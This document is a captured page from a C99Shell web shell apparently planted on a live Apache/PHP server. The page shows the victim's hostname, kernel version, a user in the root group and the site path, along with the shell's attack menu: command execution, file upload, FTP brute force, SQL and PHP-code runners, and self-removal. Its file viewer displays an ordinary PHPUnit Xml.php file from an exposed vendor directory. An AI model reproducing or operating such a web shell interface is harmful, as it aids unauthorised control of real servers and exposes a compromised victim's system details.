!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/phpunit/phpunit/src/Util/Xml/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Xml.php (2.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Util;

use const 
ENT_QUOTES;
use function 
htmlspecialchars;
use function 
mb_convert_encoding;
use function 
ord;
use function 
preg_replace;
use function 
strlen;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class Xml
{
    
/**
     * Escapes a string for the use in XML documents.
     *
     * Any Unicode character is allowed, excluding the surrogate blocks, FFFE,
     * and FFFF (not even as character reference).
     *
     * @see https://www.w3.org/TR/xml/#charsets
     */
    
public static function prepareString(string $string): string
    
{
        return 
preg_replace(
            
'/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/',
            
'',
            
htmlspecialchars(
                
self::convertToUtf8($string),
                
ENT_QUOTES,
            ),
        );
    }

    private static function 
convertToUtf8(string $string): string
    
{
        if (!
self::isUtf8($string)) {
            
$string mb_convert_encoding($string'UTF-8');
        }

        return 
$string;
    }

    private static function 
isUtf8(string $string): bool
    
{
        
$length strlen($string);

        for (
$i 0$i $length$i++) {
            if (
ord($string[$i]) < 0x80) {
                
$n 0;
            } elseif ((
ord($string[$i]) & 0xE0) === 0xC0) {
                
$n 1;
            } elseif ((
ord($string[$i]) & 0xF0) === 0xE0) {
                
$n 2;
            } elseif ((
ord($string[$i]) & 0xF0) === 0xF0) {
                
$n 3;
            } else {
                return 
false;
            }

            for (
$j 0$j $n$j++) {
                if ((++
$i === $length) || ((ord($string[$i]) & 0xC0) !== 0x80)) {
                    return 
false;
                }
            }
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--